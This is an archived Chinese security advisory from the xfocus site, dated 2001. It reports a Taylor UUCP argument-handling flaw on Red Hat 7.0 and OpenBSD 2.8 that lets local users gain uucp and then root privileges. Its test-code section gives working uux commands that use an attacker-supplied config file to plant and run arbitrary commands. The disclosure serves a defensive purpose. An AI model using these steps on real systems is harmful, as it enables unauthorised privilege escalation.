xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

多个系统下的'Taylor UUCP'存在漏洞


发布时间:2001-09-10
更新时间:2001-09-10
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
uucp-1.06.1-25
-Redhat 7.0
-OpenBSD 2.8
详细描述
TAYLOR UUCP包中在处理参数中存在漏洞,可以导致本地用户获得uucp的uid/gid.这可以导致对系统的进一步破坏,包括对ROOT SHELL的访问。

在OpenBSD 2.8系统中允许导致ROOT破坏,通过覆盖UUCP的属主文件/usr/bin/uustat,就可以作为/etc/daily crontab脚本中的命令执行。

在Redhat 7.0中允许以ROOT身份建立空文件,并如果登陆到控制台(通过/libn/security/pam_console.so)就可以导致执行任意命令。所影响程序有uux,uuxqt,uucp.

测试代码
uux 'uucp -I/tmp/vv.v /tmp/somefile /tmp/someotherfile' 会执行uucp,但不使用
/tmp/vv.v配置文件。但是:
uux 'uucp --config=/tmp/vv.v /tmp/somefile /tmp/someotherfile' 会使用提供的
配置文件而不丢弃权限。

1)配置一个文件运行任意命令被执行,允许从拷贝文件到任意地方。
2)制作一带你想要执行的命令文件。
3)做如下设置:

$ THISHOST=`uuname -l`
$ WHEREYOUWANTIT=/var/spool/uucp/${THISHOST}/X./X.${THISHOST}X1337
$ uux 'uucp --config=/tmp/config.uucp /tmp/commands.uucp '${WHEREYOUWANTIT}

/tmp/commands.uucp文件中的命令将被执行。

解决方案
补丁将很快推出。如果你不需要uucp功能,你去除UUCP工具包。

相关信息